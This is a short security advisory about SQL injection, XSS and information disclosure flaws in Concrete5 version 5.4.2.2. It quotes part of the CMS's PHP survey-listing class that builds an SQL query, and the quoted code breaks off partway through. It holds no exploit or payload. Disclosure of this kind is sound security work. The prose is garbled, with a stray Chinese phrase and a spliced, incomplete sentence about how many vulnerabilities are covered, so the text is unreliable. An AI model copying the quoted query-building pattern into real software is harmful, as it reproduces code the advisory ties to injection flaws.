Multiple SQL Injection, Cross-Site Scripting (XSS) and Information

Disclosure vulnerabilities were identified within Concrete5 version

5.4.2.2

 

请注意: Only a select few vulnerabilities are outlined in this

restraints only a small sample

of the vulnerabilities are outlined below. The vendor was contacted

and replied promptly. Further assistance was asked for but not

delivered due to my time constraints.

        protected $autoSortColumns = array('cvName', 'question',

'numberOfResponses', 'lastResponse');

 

        function __construct() {

                $this->setQuery(

                           'select distinct btSurvey.bID,

CollectionVersions.cID, btSurvey.question, CollectionVersions.cvName,

(select max(timestamp) from btSurveyResults where btSurveyResults.bID

= btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as

lastResponse, (select count(timestamp) from btSurveyResults where

btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID =

CollectionVersions.cID) as numberOfResponses ' .

                                'from btSurvey, CollectionVersions,

CollectionVersionBlocks');

                $this->filter(false, 'btSurvey.bID =

CollectionVersionBlocks.bID');

                $this->filter(false, 'CollectionVersions.cID =

CollectionVersionBlocks.cID');

                $this->filter(false, 'CollectionVersionBlocks.cvID =

CollectionVersionBlocks.cvID');

                $this->filter(false, 'CollectionVersions.cvIsApproved = 1');
